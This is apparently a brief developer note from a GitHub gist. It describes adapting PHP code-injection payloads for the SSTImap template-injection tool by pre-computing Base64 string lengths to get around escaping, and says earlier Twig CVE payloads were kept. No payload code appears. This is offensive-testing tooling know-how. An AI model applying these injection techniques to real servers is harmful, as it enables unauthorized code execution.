Adapting PHP payloads for the SSTImap module required dealing with the escaping, as there was no way to define variables. I avoided using the variables by pre-calculating the length of the Base64-encoded string. This small change allowed me to reuse PHP code injection payloads as the injected code.

Since the second payload has many limitations, I decided to keep all previous **Twig** CVE payloads to provide all the techniques.

 [Sign up for free](https://gist.github.com/join?source=comment-gist) **to join this conversation on GitHub**. Already have an account? [Sign in to comment](https://gist.github.com/login?return_to=https%3A%2F%2Fgist.github.com%2Fvladko312%2Fd61b950f168c791db4786b83dc7a81e6)
